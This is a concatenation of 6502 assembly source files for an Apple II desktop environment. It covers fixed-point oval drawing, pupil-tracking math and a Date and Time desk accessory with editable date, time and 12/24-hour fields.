;; pupil shouldn't overlap border
sub16 rx, #kPenW, tmpw
sub16 tmpw, #kPupilW, tmpw
FAC_LOAD_INT tmpw
FAC_STORE prx
sub16 ry, #kPenH, tmpw
sub16 tmpw, #kPupilH, tmpw
FAC_LOAD_INT tmpw
FAC_STORE pry
;; x scale, so math is circular
;; xs = pry / prx
FAC_LOAD prx
FAC_DIV pry
FAC_STORE scale
;; mouse delta, in transformed space
;; dx = (mx - cx) * xs
;; dy = mx - cy
FAC_LOAD_INT mx ; dx = (mx - cx) * xs
FAC_STORE tmpf
FAC_LOAD cxf
FAC_SUB tmpf
FAC_MUL scale
FAC_STORE dx
FAC_LOAD_INT my ; dy = mx - cy
FAC_STORE tmpf
FAC_LOAD cyf
FAC_SUB tmpf
FAC_STORE dy
;; d = SQR(dx * dx + dy * dy)
FAC_LOAD dx
FAC_MUL dx
FAC_STORE tmpf
FAC_LOAD dy
FAC_MUL dy
FAC_ADD tmpf
jsr SQR
;; if d > pry:
;; f = pry / d
;; dx = f * dx
;; dy = f * dy
FAC_COMP pry
bmi skip
FAC_DIV pry ; f = pry / d
FAC_STORE tmpf
FAC_MUL dx ; dx = f * dx
FAC_STORE dx
FAC_LOAD tmpf ; dy = f * dy
FAC_MUL dy
FAC_STORE dy
skip:
;; plot coords
;; ppx = (dx / xs) + cx
;; ppy = dy + cy
FAC_LOAD scale ; ppx = (dx / xs) + cx
FAC_DIV dx
FAC_ADD cxf
FAC_STORE_INT ppx
FAC_LOAD dy ; ppy = dy + cy
FAC_ADD cyf
FAC_STORE_INT ppy
bit LCBANK1
bit LCBANK1
rts
tmpw: .word 0
DEFINE_FLOAT tmpf
DEFINE_FLOAT scale
DEFINE_FLOAT dx
DEFINE_FLOAT dy
DEFINE_FLOAT pry
DEFINE_FLOAT prx
DEFINE_FLOAT cxf
DEFINE_FLOAT cyf
.endproc ; ComputePupilPos
;;; ============================================================
;;; Oval Routines (based on QuickDraw)
;;; ============================================================
.scope oval
;;; Temp `OvalRec`
oval := $50
;;; Set up `io_params` before calling.
.proc InitOval
ovalHeight := io_params::height ; [16.0]
ovalWidth := io_params::width ; [16.0]
;; --------------------------------------------------
;; Local variables
.struct
.org $10
d0 .word ; [16.0]
ovalWidthDiv2 .dword ; [16.16]
aspect_ratio .dword ; [16.16]
temp .dword
product .res 8 ; [32.32]
.endstruct
;; --------------------------------------------------
;; Init top/bottom to rect top/bottom
;; oval.top [16.0] = rect.top [16.0]
copy16 io_params::rect::top, oval+OvalRec::top
;; oval.bottom [16.0] = rect.bottom [16.0]
copy16 io_params::rect::bottom, oval+OvalRec::bottom
;; --------------------------------------------------
;; Check ovalWidth/Height, pin at 0
;; if (ovalWidth [16.0] < 0)
;; ovalWidth [16.0] = 0
bit ovalWidth+1
IF_NEG
copy16 #0, ovalWidth
END_IF
;; if (ovalHeight [16.0] < 0)
;; ovalHeight [16.0] = 0
bit ovalHeight+1
IF_NEG
copy16 #0, ovalHeight
END_IF
;; --------------------------------------------------
;; Check ovalWidth/Height, trim if bigger than rect
;; d0 [16.0] = rect.right [16.0] - rect.left [16.0]
sub16 io_params::rect::right, io_params::rect::left, d0
;; if (ovalWidth [16.0] > d0 [16.0])
;; ovalWidth [16.0] = d0 [16.0]
cmp16 ovalWidth, d0
IF_LT
copy16 d0, ovalWidth
END_IF
;; d0 [16.0] = rect.bottom [16.0] - rect.top [16.0]
sub16 io_params::rect::bottom, io_params::rect::top, d0
;; if (ovalHeight [16.0] > d0 [16.0])
;; ovalHeight [16.0] = rect.bottom [16.0] - rect.top [16.0]
cmp16 ovalHeight, d0
IF_LT
copy16 d0, ovalHeight
END_IF
;; --------------------------------------------------
;; Set up left/right edges, numbers
;; oval.rightEdge [16.16] = rect.right [16.0]
copy16 #0, oval+OvalRec::rightEdge
copy16 io_params::rect::right, oval+OvalRec::rightEdge+2
;; oval.leftEdge [16.16] = rect.left [16.0]
copy16 #0, oval+OvalRec::leftEdge
copy16 io_params::rect::left, oval+OvalRec::leftEdge+2
;; ovalWidthDiv2 [16.16] = ovalWidth [16.0] / 2
copy16 #0, ovalWidthDiv2
copy16 ovalWidth, ovalWidthDiv2+2
lsr32 ovalWidthDiv2
;; oval.leftEdge [16.16] = oval.leftEdge [16.16] + ovalWidthDiv2 [16.16]
add32 oval+OvalRec::leftEdge, ovalWidthDiv2, oval+OvalRec::leftEdge
;; oval.rightEdge [16.16] = oval.rightEdge [16.16] - ovalWidthDiv2 [16.16]
sub32 oval+OvalRec::rightEdge, ovalWidthDiv2, oval+OvalRec::rightEdge
;; oval.oneHalf [16.16] = 0.5
copy32 #$00008000, oval+OvalRec::oneHalf
;; Bias
;; oval.rightEdge [16.16] = oval.rightEdge [16.16] + oval.oneHalf [16.16]
add32 oval+OvalRec::rightEdge, oval+OvalRec::oneHalf, oval+OvalRec::rightEdge
;; --------------------------------------------------
;; Init y to -height + 1
;; oval.y [16.0] = 1 - ovalHeight [16.0]
sub16 #1, ovalHeight, oval+OvalRec::yy
;; --------------------------------------------------
;; Init rSqYSq to 2*ovalHeight-1
;; oval.rSqYSq [32.0] = 2 * ovalHeight [16.0] - 1
copy32 ovalHeight, oval+OvalRec::rSqYSq
asl32 oval+OvalRec::rSqYSq
sub32 oval+OvalRec::rSqYSq, #1, oval+OvalRec::rSqYSq
;; --------------------------------------------------
;; Init square to 0
;; oval.square [16.16] = 0
copy32 #0, oval+OvalRec::square
;; --------------------------------------------------
;; oddNum = 1 * aspect ratio squared
;; aspect_ratio [16.16] = ovalHeight [16.0] / ovalWidth [16.0];
.scope fixed_div
dividend := ovalHeight ; [16.0]
divisor := ovalWidth ; [16.0]
quotient := aspect_ratio ; [16.16]
remainder := temp ; [16.0]
copy16 #0, remainder
ldy #32
DO
asl32 quotient
asl dividend
rol dividend+1
rol remainder
rol remainder+1
lda remainder
sec
sbc divisor
tax
lda remainder+1
sbc divisor+1
IF_CS
stx remainder
sta remainder+1
inc quotient
END_IF
dey
WHILE_NOT_ZERO
.endscope ; fixed_div
;; oval.oddNum [16.16] = aspect_ratio [16.16] * aspect_ratio [16.16];
copy32 aspect_ratio, temp
.scope
multiplier := aspect_ratio
multiplicand := temp
;; This is a 32-bit multiply with a 64-bit product, used for
;; [16.16] * [16.16] => [32.32]
;; Based on: http://www.6502.org/source/integers/32muldiv.htm
lda #0 ; Clear upper half of product
sta product+4
sta product+5
sta product+6
sta product+7
ldx #32 ; Process 32 bits
;; Shift multiplier
shift:
lsr multiplier+3
ror multiplier+2
ror multiplier+1
ror multiplier
bcc rotate
lda product+4
clc
adc multiplicand
sta product+4
lda product+5
adc multiplicand+1
sta product+5
lda product+6
adc multiplicand+2
sta product+6
lda product+7
adc multiplicand+3
;; Rotate partial product
rotate:
ror a
sta product+7
ror product+6
ror product+5
ror product+4
ror product+3
ror product+2
ror product+1
ror product
;; Loop
dex
bne shift
;; Only need 16.16 result
copy32 product+2, z:oval+OvalRec::oddNum
.endscope
;; --------------------------------------------------
;; oddBump = 2 * aspect ratio squared
;; oval.oddBump [16.16] = 2 * oval.oddNum [16.16];
copy32 oval+OvalRec::oddNum, oval+OvalRec::oddBump
asl32 oval+OvalRec::oddBump
;; --------------------------------------------------
;; Finish
ptr := $06
copy16 io_params::oval, ptr
jmp SaveOval
.endproc ; InitOval
;;; Set up `bo_params` before calling.
.proc BumpOval
ptr := $06
vert := bo_params::vert
;; --------------------------------------------------
;; Local variables
.struct
.org $10
d0 .word ; [16.0]
temp .dword
.endstruct
;; --------------------------------------------------
;; Copy to working OvalRec
copy16 bo_params::oval, ptr
jsr LoadOval
;; --------------------------------------------------
;; Algorithm
;; if (vert [16.0] < oval.top [16.0])
;; return;
cmp16 vert, oval+OvalRec::top
RTS_IF_LT
;; if (vert [16.0] >= oval.bottom [16.0])
;; return;
cmp16 vert, oval+OvalRec::bottom
RTS_IF_GE
;; d0 [16.0] = oval.y [16.0];
copy16 oval+OvalRec::yy, d0
;; oval.y [16.0] = oval.y [16.0] + 2;
add16 oval+OvalRec::yy, #2, oval+OvalRec::yy
;; --------------------------------------------------
;; while square < rSqYSq make oval bigger
loop1:
;; while (oval.square [16.16] < oval.rSqYSq [32.0] ) {
cmp16 oval+OvalRec::square+2, oval+OvalRec::rSqYSq
jcs endloop1
;; oval.rightEdge [16.16] = oval.rightEdge [16.16] + oval.oneHalf [16.16];
add32 oval+OvalRec::rightEdge, oval+OvalRec::oneHalf, oval+OvalRec::rightEdge
;; oval.leftEdge [16.16] = oval.leftEdge [16.16] - oval.oneHalf [16.16];
sub32 oval+OvalRec::leftEdge, oval+OvalRec::oneHalf, oval+OvalRec::leftEdge
;; oval.square [16.16] = oval.square [16.16] + oval.oddNum [16.16];
add32 oval+OvalRec::square, oval+OvalRec::oddNum, oval+OvalRec::square
;; oval.oddNum [16.16] = oval.oddNum [16.16] + oval.oddBump [16.16];
add32 oval+OvalRec::oddNum, oval+OvalRec::oddBump, oval+OvalRec::oddNum
;; }
jmp loop1
endloop1:
;; --------------------------------------------------
;; while square > rSqYSq make oval smaller
loop2:
;; while (oval.square [16.16] > oval.rSqYSq [32.0]) {
cmp16 oval+OvalRec::square+2, oval+OvalRec::rSqYSq
jcc endloop2
;; oval.rightEdge [16.16] = oval.rightEdge [16.16] - oval.oneHalf [16.16];
sub32 oval+OvalRec::rightEdge, oval+OvalRec::oneHalf, oval+OvalRec::rightEdge
;; oval.leftEdge [16.16] = oval.leftEdge [16.16] + oval.oneHalf [16.16];
add32 oval+OvalRec::leftEdge, oval+OvalRec::oneHalf, oval+OvalRec::leftEdge
;; oval.oddNum [16.16] = oval.oddNum [16.16] - oval.oddBump [16.16];
sub32 oval+OvalRec::oddNum, oval+OvalRec::oddBump, oval+OvalRec::oddNum
;; oval.square [16.16] = oval.square [16.16] - oval.oddNum [16.16];
sub32 oval+OvalRec::square, oval+OvalRec::oddNum, oval+OvalRec::square
;; }
jmp loop2
endloop2:
;; oval.rSqYSq [32.0] = oval.rSqYSq [32.0] - (4 * (d0 [16.0] + 1)));
copy16 d0, temp ; temp = d0
lda #0
bit temp+1 ; sign-extend
IF_NS
lda #$FF
END_IF
sta temp+2
sta temp+3
add32 temp, #1, temp ; temp = d0 + 1
asl32 temp ; temp = 4 * (d0 + 1)
asl32 temp
sub32 oval+OvalRec::rSqYSq, temp, oval+OvalRec::rSqYSq
;; --------------------------------------------------
;; Finish
FALL_THROUGH_TO SaveOval
.endproc ; BumpOval
;;; Write `oval` to `OvalRec` addr at $06
.proc SaveOval
ptr := $06
ldy #.sizeof(OvalRec)-1
DO
copy8 oval,y, (ptr),y
dey
WHILE_POS
rts
.endproc ; SaveOval
;;; Load `oval` from `OvalRec` addr at $06
.proc LoadOval
ptr := $06
ldy #.sizeof(OvalRec)-1
DO
copy8 (ptr),y, oval,y
dey
WHILE_POS
rts
.endproc ; LoadOval
.endscope ; oval
InitOval := oval::InitOval
BumpOval := oval::BumpOval
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::AuxStart
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 39,567
|
src/desk.acc/date.and.time.s
|
;;; ============================================================
;;; DATE.AND.TIME - Desk Accessory
;;;
;;; Shows the current ProDOS date/time, and allows editing if there
;;; is no clock driver installed. Also exposes the 12/24-hour clock
;;; setting, and will update the settings file.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "date.and.time.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | write_buffer| | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | stub & save | | GUI code & |
;;; | settings | | resource |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc RunDA
sty clock_flag
jsr init_window
lda dialog_result
rts
.endproc ; RunDA
;;; ============================================================
;;; Param blocks
kDialogWidth = 287
kDialogHeight = 75
;; The following rects are iterated over to identify
;; a hit target for a click.
kNumHitRects = 8
kUpRectIndex = 1 ; 1-based
kDownRectIndex = 2
kControlMarginX = 16
kFieldTop = 14
kField1Left = 22
kField2Left = kField1Left + 40
kField3Left = kField2Left + 48
kField4Left = kField3Left + 46
kField5Left = kField4Left + 40
kField6Left = kField5Left + 28
kFieldDigitsWidth = 22
kFieldMonthWidth = 30
kFieldHeight = 10
kFieldPaddingY = 5
kUpDownButtonWidth = 10
kUpDownButtonHeight = 10
kUpDownButtonLeft = kDialogWidth - kUpDownButtonWidth - kControlMarginX
first_hit_rect := *
DEFINE_RECT_SZ up_arrow_rect, kUpDownButtonLeft, kFieldTop - 6, kUpDownButtonWidth, kUpDownButtonHeight
DEFINE_RECT_SZ down_arrow_rect, kUpDownButtonLeft, kFieldTop + 6, kUpDownButtonWidth, kUpDownButtonHeight
DEFINE_RECT_SZ day_rect, kField1Left, kFieldTop, kFieldDigitsWidth, kFieldHeight
DEFINE_RECT_SZ month_rect, kField2Left, kFieldTop, kFieldMonthWidth, kFieldHeight
DEFINE_RECT_SZ year_rect, kField3Left, kFieldTop, kFieldDigitsWidth, kFieldHeight
DEFINE_RECT_SZ hour_rect, kField4Left, kFieldTop, kFieldDigitsWidth, kFieldHeight
DEFINE_RECT_SZ minute_rect, kField5Left, kFieldTop, kFieldDigitsWidth, kFieldHeight
DEFINE_RECT_SZ period_rect, kField6Left, kFieldTop, kFieldDigitsWidth, kFieldHeight
ASSERT_RECORD_TABLE_SIZE first_hit_rect, kNumHitRects, .sizeof(MGTK::Rect)
DEFINE_POINT label_uparrow_pos, kUpDownButtonLeft + 2, kFieldTop + 3
DEFINE_POINT label_downarrow_pos, kUpDownButtonLeft + 2, kFieldTop + 15
DEFINE_POINT day_pos, kField1Left + 6, kFieldTop + 10
DEFINE_POINT month_pos, kField2Left + 6, kFieldTop + 10
DEFINE_POINT year_pos, kField3Left + 6, kFieldTop + 10
DEFINE_POINT hour_pos, kField4Left + 6, kFieldTop + 10
DEFINE_POINT minute_pos, kField5Left + 6, kFieldTop + 10
DEFINE_POINT period_pos, kField6Left + 6, kFieldTop + 10
DEFINE_POINT date_sep1_pos, kField2Left - 12, kFieldTop + 10
DEFINE_POINT date_sep2_pos, kField3Left - 12, kFieldTop + 10
DEFINE_POINT time_sep_pos, kField5Left - 9, kFieldTop + 10
DEFINE_RECT_SZ date_rect, kControlMarginX, kFieldTop-kFieldPaddingY, 122, kFieldHeight+kFieldPaddingY*2
DEFINE_RECT_SZ time_rect, 150, kFieldTop-kFieldPaddingY, 102, kFieldHeight+kFieldPaddingY*2
kOKButtonLeft = kDialogWidth - kButtonWidth - kControlMarginX
kOKButtonTop = kDialogHeight - kButtonHeight - 7
DEFINE_BUTTON ok_button, kDAWindowId, res_string_button_ok, kGlyphReturn, kOKButtonLeft, kOKButtonTop
.params settextbg_black_params
backcolor: .byte 0 ; black
.endparams
.params settextbg_white_params
backcolor: .byte $FF ; white
.endparams
.enum Field
none = 0
day = 1
month = 2
year = 3
hour = 4
minute = 5
period = 6
.endenum
selected_field:
.byte Field::none
clock_flag:
.byte 0
;;; Originally Feb 26, 1985 (the author date?); now updated by build.
day: .byte kBuildDD
month: .byte kBuildMM
year: .byte kBuildYY
hour: .byte 0
minute: .byte 0
spaces_string:
PASCAL_STRING " "
day_string:
PASCAL_STRING " "
month_string:
PASCAL_STRING " "
year_string:
PASCAL_STRING " "
hour_string:
PASCAL_STRING " "
minute_string:
PASCAL_STRING " "
str_date_separator: ; populated from settings at runtime
PASCAL_STRING {SELF_MODIFIED_BYTE}
str_time_separator: ; populated from settings at runtime
PASCAL_STRING {SELF_MODIFIED_BYTE}
.include "../lib/event_params.s"
kDAWindowId = $80
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
penXOR: .byte MGTK::penXOR
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 100
mincontheight: .word 100
maxcontwidth: .word 500
maxcontheight: .word 500
port:
DEFINE_POINT viewloc, (kScreenWidth-kDialogWidth)/2, (kScreenHeight-kDialogHeight)/2
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDialogWidth, kDialogHeight
pattern: .res 8,$FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
;;; 12/24 Hour Resources
kOptionDisplayX = 150
kOptionDisplayY = 34
DEFINE_BUTTON clock_12hour_button, kDAWindowId, res_string_label_clock_12hour, res_string_shortcut_apple_1, kOptionDisplayX, kOptionDisplayY
DEFINE_BUTTON clock_24hour_button, kDAWindowId, res_string_label_clock_24hour, res_string_shortcut_apple_2, kOptionDisplayX, kOptionDisplayY+10
.params date_bitmap_params
DEFINE_POINT viewloc, 14, 34
mapbits: .addr date_bitmap
mapwidth: .byte 6
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 39, 17
REF_MAPINFO_MEMBERS
.endparams
date_bitmap:
PIXELS "######################..................."
PIXELS "##..######################..............."
PIXELS "##..##..................##..............."
PIXELS "##..######################..............."
PIXELS "##..##..................##.....##########"
PIXELS "##..##....##########....#######........##"
PIXELS "##..##...###......########.............##"
PIXELS "##..##...###......###........###.......##"
PIXELS "##..##..........#####.......####.......##"
PIXELS "##..##........####.##....#######.......##"
PIXELS "##..##......####...##.......####.......##"
PIXELS "##..##....####.....##.......####.......##"
PIXELS "##..##...####......##.......####.......##"
PIXELS "##..##...############.......####.......##"
PIXELS "######.............##.......####.......##"
PIXELS "....#################....##########....##"
PIXELS "...................##..................##"
PIXELS "...................######################"
.params time_bitmap_params
DEFINE_POINT viewloc, kDialogWidth - 32 - 11, 33
mapbits: .addr time_bitmap
mapwidth: .byte 5
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 31, 14
REF_MAPINFO_MEMBERS
.endparams
time_bitmap:
PIXELS "..........############.........."
PIXELS "......####............####......"
PIXELS "....##.........##.........##...."
PIXELS "..##...........##...........##.."
PIXELS ".##............##............##."
PIXELS "##.............##.............##"
PIXELS "##.............##.............##"
PIXELS "##.............##.............##"
PIXELS "##...............##...........##"
PIXELS "##.................##.........##"
PIXELS ".##..................##......##."
PIXELS "..##........................##.."
PIXELS "....##....................##...."
PIXELS "......####............####......"
PIXELS "..........############.........."
;;; ============================================================
;;; Copy of ProDOS DATE/TIME
.params auxdt
DATELO: .byte 0
DATEHI: .byte 0
TIMELO: .byte 0
TIMEHI: .byte 0
.endparams
;;; ============================================================
;;; Cached settings
clock_24hours: .byte 0
;;; ============================================================
;;; Initialize window, unpack the date.
init_window:
;; Cache settings
ldx #DeskTopSettings::intl_date_sep
jsr ReadSetting
sta str_date_separator+1
ldx #DeskTopSettings::intl_time_sep
jsr ReadSetting
sta str_time_separator+1
ldx #DeskTopSettings::clock_24hours
jsr ReadSetting
sta clock_24hours
jsr GetDateFromProDOS
;; If null date, just leave the baked in default
lda auxdt::DATELO
ora auxdt::DATEHI
IF_NOT_ZERO
;; Crack the date bytes. Format is:
;; | DATEHI | | DATELO |
;; 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; | Year | Month | Day |
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
lda auxdt::DATEHI
lsr a
sta year
lda auxdt::DATELO
and #%11111
sta day
lda auxdt::DATEHI
ror a
lda auxdt::DATELO
ror a
lsr a
lsr a
lsr a
lsr a
sta month
;; | TIMEHI | | TIMELO |
;; 7 6 5 4 3 2 1 0 7 6 5 4 3 2 1 0
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
;; |0 0 0| Hour | |0 0| Minute |
;; +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
lda auxdt::TIMEHI
and #%00011111
sta hour
lda auxdt::TIMELO
and #%00111111
sta minute
END_IF
MGTK_CALL MGTK::OpenWindow, winfo
copy8 #0, selected_field
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
;;; ============================================================
;;; Input loop
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr OnClick
jmp InputLoop
END_IF
cmp #MGTK::EventKind::key_down
bne InputLoop
FALL_THROUGH_TO OnKey
.endproc ; InputLoop
.proc OnKey
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::SetPenMode, penXOR
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq OnKeyOK
IF_A_EQ #'1'
lda #$00
jsr HandleOptionClick
jmp InputLoop
END_IF
IF_A_EQ #'2'
lda #$80
jsr HandleOptionClick
jmp InputLoop
END_IF
jmp InputLoop
END_IF
cmp #CHAR_RETURN
jeq OnKeyOK
cmp #CHAR_ESCAPE
jeq OnKeyOK
;; If there is a system clock, fields are read-only
ldx clock_flag
bne InputLoop
;; All controls are active
cmp #CHAR_LEFT
beq OnKeyLeft
cmp #CHAR_RIGHT
beq OnKeyRight
cmp #CHAR_TAB
beq OnKeyRight
cmp #CHAR_DOWN
beq OnKeyDown
cmp #CHAR_UP
bne InputLoop
FALL_THROUGH_TO OnKeyUp
.proc OnKeyUp
jsr InvertUp
copy8 #kUpRectIndex, hit_rect_index
jsr DoIncOrDec
jsr InvertUp
jmp InputLoop
.endproc ; OnKeyUp
.proc OnKeyDown
jsr InvertDown
copy8 #kDownRectIndex, hit_rect_index
jsr DoIncOrDec
jsr InvertDown
jmp InputLoop
.endproc ; OnKeyDown
.proc OnKeyLeft
sec
lda selected_field
sbc #1
bne UpdateSelection
bit clock_24hours
IF_NC
lda #Field::period
ELSE
lda #Field::period-1
END_IF
jmp UpdateSelection
.endproc ; OnKeyLeft
.proc OnKeyRight
clc
lda selected_field
adc #1
bit clock_24hours
IF_NC
cmp #Field::period+1
ELSE
cmp #Field::period
END_IF
bne UpdateSelection
lda #Field::day
FALL_THROUGH_TO UpdateSelection
.endproc ; OnKeyRight
.proc UpdateSelection
jsr SelectField
jmp InputLoop
.endproc ; UpdateSelection
.endproc ; OnKey
;;; ============================================================
.proc OnClick
MGTK_CALL MGTK::FindWindow, event_params::xcoord
lda findwindow_params::window_id
cmp #kDAWindowId
bne miss
lda findwindow_params::which_area
cmp #MGTK::Area::content
beq hit
miss: rts
hit:
;; ----------------------------------------
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::SetPenMode, penXOR
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
;; ----------------------------------------
MGTK_CALL MGTK::InRect, ok_button::rect
jne OnClickOK
MGTK_CALL MGTK::InRect, clock_12hour_button::rect
IF_NOT_ZERO
lda #$00
jmp HandleOptionClick
END_IF
MGTK_CALL MGTK::InRect, clock_24hour_button::rect
IF_NOT_ZERO
lda #$80
jmp HandleOptionClick
END_IF
;; ----------------------------------------
;; If there is a system clock, fields are read-only
ldx clock_flag
bne miss
jsr FindHitTarget
cpx #0
beq miss
txa
asl a
tay
copy16 hit_target_jump_table-2,y, jump
jump := *+1
jmp SELF_MODIFIED
hit_target_jump_table:
;; Called w/ X = index
.addr OnUp, OnDown
.addr OnFieldClick, OnFieldClick, OnFieldClick, OnFieldClick, OnFieldClick, OnFieldClick
ASSERT_ADDRESS_TABLE_SIZE hit_target_jump_table, aux::kNumHitRects
.endproc ; OnClick
;;; ============================================================
.proc OnClickOK
BTK_CALL BTK::Track, ok_button
IF_ZERO
pla ; pop OnClick
pla
jmp OnOK
END_IF
rts
.endproc ; OnClickOK
.proc OnKeyOK
BTK_CALL BTK::Flash, ok_button
FALL_THROUGH_TO OnOK
.endproc ; OnKeyOK
.proc OnOK
lda clock_flag
IF_ZERO
jsr UpdateProDOS
END_IF
jmp Destroy
.endproc ; OnOK
;;; ============================================================
.proc OnUp
txa
pha
jsr InvertUp
pla
tax
jmp OnUpOrDown
.endproc ; OnUp
.proc OnDown
txa
pha
jsr InvertDown
pla
tax
jmp OnUpOrDown
.endproc ; OnDown
.proc OnFieldClick
dex
dex
txa
bit clock_24hours
IF_NS
RTS_IF_A_EQ #Field::period
END_IF
jmp SelectField
.endproc ; OnFieldClick
.proc OnUpOrDown
stx hit_rect_index
loop: MGTK_CALL MGTK::GetEvent, event_params ; Repeat while mouse is down
lda event_params::kind
IF_A_NE #MGTK::EventKind::button_up
jsr DoIncOrDec
jmp loop
END_IF
lda hit_rect_index
cmp #kUpRectIndex
jeq InvertUp
jmp InvertDown
.endproc ; OnUpOrDown
.proc DoIncOrDec
ptr := $6
jsr Delay
;; Set day max, based on month/year.
jsr SetMonthLength
;; Hour requires special handling for 12-hour clock; patch the
;; min/max table depending on clock setting and period.
bit clock_24hours
IF_NC
lda hour
IF_A_LT #12
copy8 #kHourMin, min_table + Field::hour - 1
copy8 #11, max_table + Field::hour - 1
ELSE
copy8 #12, min_table + Field::hour - 1
copy8 #kHourMax, max_table + Field::hour - 1
END_IF
ELSE
copy8 #kHourMin, min_table + Field::hour - 1
copy8 #kHourMax, max_table + Field::hour - 1
END_IF
lda selected_field
;; Period also needs special handling
cmp #Field::period
beq TogglePeriod
tax ; X = byte table offset
asl a
tay ; Y = address table offset
copy8 min_table-1,x, min
copy8 max_table-1,x, max
copy16 prepare_proc_table-2,y, prepare_proc
copy16 field_table-2,y, ptr
ldy #0 ; Y = 0
lda (ptr),y
tax ; X = value
lda hit_rect_index
cmp #kUpRectIndex
beq incr
;; Decrement
IF_X_EQ min
ldx max
inx
END_IF
dex
jmp finish
;; Increment
incr:
IF_X_EQ max
ldx min
dex
END_IF
inx
FALL_THROUGH_TO finish
finish:
txa ; store new value
sta (ptr),y
prepare_proc := *+1
jsr SELF_MODIFIED ; update string
lda selected_field
jsr DrawField
;; If month changed, make sure day is in range and update if not.
jsr SetMonthLength
lda max_table+Field::day-1
IF_A_LT day
sta day
MGTK_CALL MGTK::SetTextBG, settextbg_white_params
jsr PrepareDayString
lda #Field::day
jsr DrawField
END_IF
rts
min: .byte 0
max: .byte 0
.endproc ; DoIncOrDec
hit_rect_index:
.byte 0
;;; ============================================================
.proc TogglePeriod
;; Flip to other period
lda hour
IF_A_LT #12 ; also sets C correctly for adc/sbc
adc #12
ELSE
sbc #12
END_IF
sta hour
lda #Field::period
jmp DrawField
.endproc ; TogglePeriod
;;; ============================================================
kNumFields = 6
kDayMin = 1
kDayMax = 31
kMonthMin = 1
kMonthMax = 12
kYearMin = 0
kYearMax = 99
kHourMin = 0
kHourMax = 23
kMinuteMin = 0
kMinuteMax = 59
;;; The following tables don't include period (which gets special handling)
field_table:
.addr day, month, year, hour, minute
ASSERT_ADDRESS_TABLE_SIZE field_table, kNumFields-1
min_table:
.byte kDayMin, kMonthMin, kYearMin, kHourMin, kMinuteMin
ASSERT_TABLE_SIZE min_table, kNumFields-1
max_table:
.byte kDayMax, kMonthMax, kYearMax, kHourMax, kMinuteMax
ASSERT_TABLE_SIZE max_table, kNumFields-1
prepare_proc_table:
.addr PrepareDayString, PrepareMonthString, PrepareYearString, PrepareHourString, PrepareMinuteString
ASSERT_ADDRESS_TABLE_SIZE prepare_proc_table, kNumFields-1
month_length_table:
.byte 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31
ASSERT_TABLE_SIZE month_length_table, 12
;;; ============================================================
.proc PrepareDayString
lda day
jsr NumberToASCII
sta day_string+1 ; first char
stx day_string+2 ; second char
rts
.endproc ; PrepareDayString
.proc PrepareMonthString
lda month ; month * 3 - 1
asl a
clc
adc month
tax
dex
ptr := $07
str := month_string + 1
kLength = 3
copy16 #str, ptr
ldy #kLength - 1
DO
copy8 month_name_table,x, (ptr),y
dex
dey
WHILE_POS
rts
.endproc ; PrepareMonthString
month_name_table:
.byte .sprintf("%3s", res_string_month_abbrev_1)
.byte .sprintf("%3s", res_string_month_abbrev_2)
.byte .sprintf("%3s", res_string_month_abbrev_3)
.byte .sprintf("%3s", res_string_month_abbrev_4)
.byte .sprintf("%3s", res_string_month_abbrev_5)
.byte .sprintf("%3s", res_string_month_abbrev_6)
.byte .sprintf("%3s", res_string_month_abbrev_7)
.byte .sprintf("%3s", res_string_month_abbrev_8)
.byte .sprintf("%3s", res_string_month_abbrev_9)
.byte .sprintf("%3s", res_string_month_abbrev_10)
.byte .sprintf("%3s", res_string_month_abbrev_11)
.byte .sprintf("%3s", res_string_month_abbrev_12)
